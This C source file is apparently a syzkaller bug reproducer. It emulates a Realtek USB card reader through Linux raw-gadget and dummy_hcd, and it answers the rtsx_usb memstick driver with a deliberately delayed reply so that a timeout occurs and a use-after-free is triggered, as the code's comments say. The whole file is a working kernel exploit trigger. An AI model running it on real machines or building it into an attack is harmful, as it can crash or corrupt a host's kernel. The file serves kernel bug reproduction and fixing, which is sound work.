// https://syzkaller.appspot.com/bug?id=4042b6d822f4d1316b56d5e8fac487a405a53714
#define _GNU_SOURCE
#include <endian.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
#include <pthread.h>
#include <dirent.h>
#include <errno.h>

#include <linux/usb/ch9.h>
#include <linux/usb/raw_gadget.h>

#define VENDOR_ID  0x0BDA
#define PRODUCT_ID 0x0129

struct usb_raw_control_event {
    struct usb_ctrlrequest ctrl;
};

int fd;
int ep1_out_handle = -1;
int ep2_in_handle = -1;

void usb_ep0_write(int fd, uint8_t *data, uint32_t len) {
    struct usb_raw_ep_io *io = calloc(1, sizeof(*io) + len);
    if (!io) exit(1);
    io->ep = 0;
    io->flags = 0;
    io->length = len;
    if (data && len > 0)
        memcpy(io->data, data, len);
    ioctl(fd, USB_RAW_IOCTL_EP0_WRITE, io);
    free(io);
}

void usb_ep0_read(int fd, uint32_t len) {
    struct usb_raw_ep_io *io = calloc(1, sizeof(*io) + len);
    if (!io) exit(1);
    io->ep = 0;
    io->flags = 0;
    io->length = len;
    ioctl(fd, USB_RAW_IOCTL_EP0_READ, io);
    free(io);
}

void usb_stall_ep0(int fd) {
    ioctl(fd, USB_RAW_IOCTL_EP0_STALL, 0);
}

void *ep1_out_thread(void *arg) {
    while (1) {
        if (ep1_out_handle < 0) {
            usleep(10000);
            continue;
        }

        struct usb_raw_ep_io *io = calloc(1, sizeof(*io) + 1024);
        if (!io) exit(1);
        io->ep = ep1_out_handle;
        io->flags = 0;
        io->length = 1024;
        int res = ioctl(fd, USB_RAW_IOCTL_EP_READ, io);
        if (res >= 0) {
            int len = io->length;
            if (len >= 8) {
                if (io->data[7] & 0x01) { // STAGE_R
                    if (len <= 16) {
                        // Short command (e.g., rtsx_usb_read_register for CARD_INT_PEND)
                        struct usb_raw_ep_io *in_io = calloc(1, sizeof(*in_io) + 4);
                        if (!in_io) exit(1);
                        in_io->ep = ep2_in_handle;
                        in_io->flags = 0;
                        in_io->length = 4;
                        in_io->data[0] = 0x08; // MS_INT
                        ioctl(fd, USB_RAW_IOCTL_EP_WRITE, in_io);
                        free(in_io);
                    } else {
                        // Long command (e.g., ms_write_bytes for memstick_set_rw_addr)
                        // Sleep for 600ms to cause memstick_set_rw_addr to timeout (500ms)
                        usleep(600000);
                        
                        // Reply to complete the URB and trigger the UAF
                        struct usb_raw_ep_io *in_io = calloc(1, sizeof(*in_io) + 4);
                        if (!in_io) exit(1);
                        in_io->ep = ep2_in_handle;
                        in_io->flags = 0;
                        in_io->length = 4;
                        in_io->data[0] = 0x00;
                        ioctl(fd, USB_RAW_IOCTL_EP_WRITE, in_io);
                        free(in_io);
                    }
                }
            }
        }
        free(io);
    }
    return NULL;
}

void *failsafe_thread(void *arg) {
    sleep(15);
    printf("[-] Failsafe timeout reached, exiting.\n");
    exit(1);
    return NULL;
}

int main() {
    system("modprobe -r dummy_hcd 2>/dev/null");
    usleep(100000);
    system("modprobe dummy_hcd 2>/dev/null");
    usleep(100000);

    pthread_t fs_tid;
    pthread_create(&fs_tid, NULL, failsafe_thread, NULL);

    char udc_device_name[128] = {0};
    char udc_driver_name[128] = {0};

    DIR *dir = opendir("/sys/class/udc");
    if (dir) {
        struct dirent *ent;
        while ((ent = readdir(dir)) != NULL) {
            if (ent->d_name[0] == '.') continue;
            strncpy(udc_device_name, ent->d_name, sizeof(udc_device_name)-1);
            break;
        }
        closedir(dir);
    }

    if (udc_device_name[0] == '\0') {
        printf("[-] No UDC found in /sys/class/udc\n");
        exit(1);
    }

    char path[256];
    snprintf(path, sizeof(path), "/sys/class/udc/%s/uevent", udc_device_name);
    FILE *f = fopen(path, "r");
    if (f) {
        char line[256];
        while (fgets(line, sizeof(line), f)) {
            if (strncmp(line, "USB_UDC_NAME=", 13) == 0) {
                strncpy(udc_driver_name, line + 13, sizeof(udc_driver_name)-1);
                char *nl = strchr(udc_driver_name, '\n');
                if (nl) *nl = '\0';
                break;
            }
        }
        fclose(f);
    }

    if (udc_driver_name[0] == '\0') {
        strncpy(udc_driver_name, udc_device_name, sizeof(udc_driver_name)-1);
        char *dot = strchr(udc_driver_name, '.');
        if (dot) *dot = '\0';
    }

    printf("[+] Found UDC: device=%s, driver=%s\n", udc_device_name, udc_driver_name);

    fd = open("/dev/raw-gadget", O_RDWR);
    if (fd < 0) {
        printf("[-] open(/dev/raw-gadget) failed: %s\n", strerror(errno));
        exit(1);
    }

    struct usb_raw_init init;
    memset(&init, 0, sizeof(init));
    strncpy((char *)init.driver_name, udc_driver_name, sizeof(init.driver_name) - 1);
    strncpy((char *)init.device_name, udc_device_name, sizeof(init.device_name) - 1);
    init.speed = USB_SPEED_HIGH;

    if (ioctl(fd, USB_RAW_IOCTL_INIT, &init) < 0) {
        printf("[-] ioctl(USB_RAW_IOCTL_INIT) failed: %s\n", strerror(errno));
        exit(1);
    }

    if (ioctl(fd, USB_RAW_IOCTL_RUN, 0) < 0) {
        printf("[-] ioctl(USB_RAW_IOCTL_RUN) failed: %s\n", strerror(errno));
        exit(1);
    }

    pthread_t tid1;
    pthread_create(&tid1, NULL, ep1_out_thread, NULL);

    while (1) {
        struct usb_raw_event event;
        if (ioctl(fd, USB_RAW_IOCTL_EVENT_FETCH, &event) < 0) {
            continue;
        }

        if (event.type == USB_RAW_EVENT_CONNECT) {
            printf("[+] USB_RAW_EVENT_CONNECT received.\n");
        } else if (event.type == USB_RAW_EVENT_CONTROL) {
            struct usb_raw_control_event *ctrl_evt = (struct usb_raw_control_event *)&event.data[0];
            struct usb_ctrlrequest *req = &ctrl_evt->ctrl;
            
            if ((req->bRequestType & USB_TYPE_MASK) == USB_TYPE_STANDARD) {
                if (req->bRequest == USB_REQ_GET_DESCRIPTOR) {
                    uint8_t desc_type = req->wValue >> 8;
                    if (desc_type == USB_DT_DEVICE) {
                        uint8_t dev_desc[] = {
                            18, USB_DT_DEVICE, 0x00, 0x02, 0, 0, 0, 64,
                            VENDOR_ID & 0xFF, VENDOR_ID >> 8,
                            PRODUCT_ID & 0xFF, PRODUCT_ID >> 8,
                            0x00, 0x01, 0, 0, 0, 1
                        };
                        int len = sizeof(dev_desc);
                        if (len > req->wLength) len = req->wLength;
                        usb_ep0_write(fd, dev_desc, len);
                    } else if (desc_type == USB_DT_CONFIG) {
                        uint8_t cfg_desc[] = {
                            9, USB_DT_CONFIG, 32, 0, 1, 1, 0, 0x80, 50,
                            9, USB_DT_INTERFACE, 0, 0, 2, 0xFF, 0xFF, 0xFF, 0,
                            7, USB_DT_ENDPOINT, 0x01, USB_ENDPOINT_XFER_BULK, 0x00, 0x02, 0,
                            7, USB_DT_ENDPOINT, 0x82, USB_ENDPOINT_XFER_BULK, 0x00, 0x02, 0
                        };
                        int len = sizeof(cfg_desc);
                        if (len > req->wLength) len = req->wLength;
                        usb_ep0_write(fd, cfg_desc, len);
                    } else {
                        usb_stall_ep0(fd);
                    }
                } else if (req->bRequest == USB_REQ_SET_CONFIGURATION) {
                    struct usb_endpoint_descriptor ep1;
                    memset(&ep1, 0, sizeof(ep1));
                    ep1.bLength = 7;
                    ep1.bDescriptorType = USB_DT_ENDPOINT;
                    ep1.bEndpointAddress = 0x01;
                    ep1.bmAttributes = USB_ENDPOINT_XFER_BULK;
                    ep1.wMaxPacketSize = htole16(512);
                    ep1.bInterval = 0;
                    int res = ioctl(fd, USB_RAW_IOCTL_EP_ENABLE, &ep1);
                    if (res >= 0) ep1_out_handle = res;
                    
                    struct usb_endpoint_descriptor ep2;
                    memset(&ep2, 0, sizeof(ep2));
                    ep2.bLength = 7;
                    ep2.bDescriptorType = USB_DT_ENDPOINT;
                    ep2.bEndpointAddress = 0x82;
                    ep2.bmAttributes = USB_ENDPOINT_XFER_BULK;
                    ep2.wMaxPacketSize = htole16(512);
                    ep2.bInterval = 0;
                    res = ioctl(fd, USB_RAW_IOCTL_EP_ENABLE, &ep2);
                    if (res >= 0) ep2_in_handle = res;

                    usb_ep0_read(fd, 0); // Acknowledge SET_CONFIGURATION
                    printf("[+] SET_CONFIGURATION handled, endpoints enabled.\n");
                } else {
                    usb_stall_ep0(fd);
                }
            } else if ((req->bRequestType & USB_TYPE_MASK) == USB_TYPE_VENDOR) {
                if (req->bRequest == 0x00) { // RTSX_USB_REQ_REG_OP
                    if (req->bRequestType & USB_DIR_IN) {
                        uint8_t val = 0x00;
                        int len = 1;
                        if (len > req->wLength) len = req->wLength;
                        usb_ep0_write(fd, &val, len);
                    } else {
                        usb_ep0_read(fd, req->wLength);
                    }
                } else if (req->bRequest == 0x02) { // RTSX_USB_REQ_POLL
                    if (req->bRequestType & USB_DIR_IN) {
                        uint8_t val[2] = {0x02, 0x00}; // MS_CD (Memstick Card Detect)
                        int len = 2;
                        if (len > req->wLength) len = req->wLength;
                        usb_ep0_write(fd, val, len);
                    } else {
                        usb_ep0_read(fd, req->wLength);
                    }
                } else {
                    usb_stall_ep0(fd);
                }
            } else {
                usb_stall_ep0(fd);
            }
        }
    }

    return 0;
}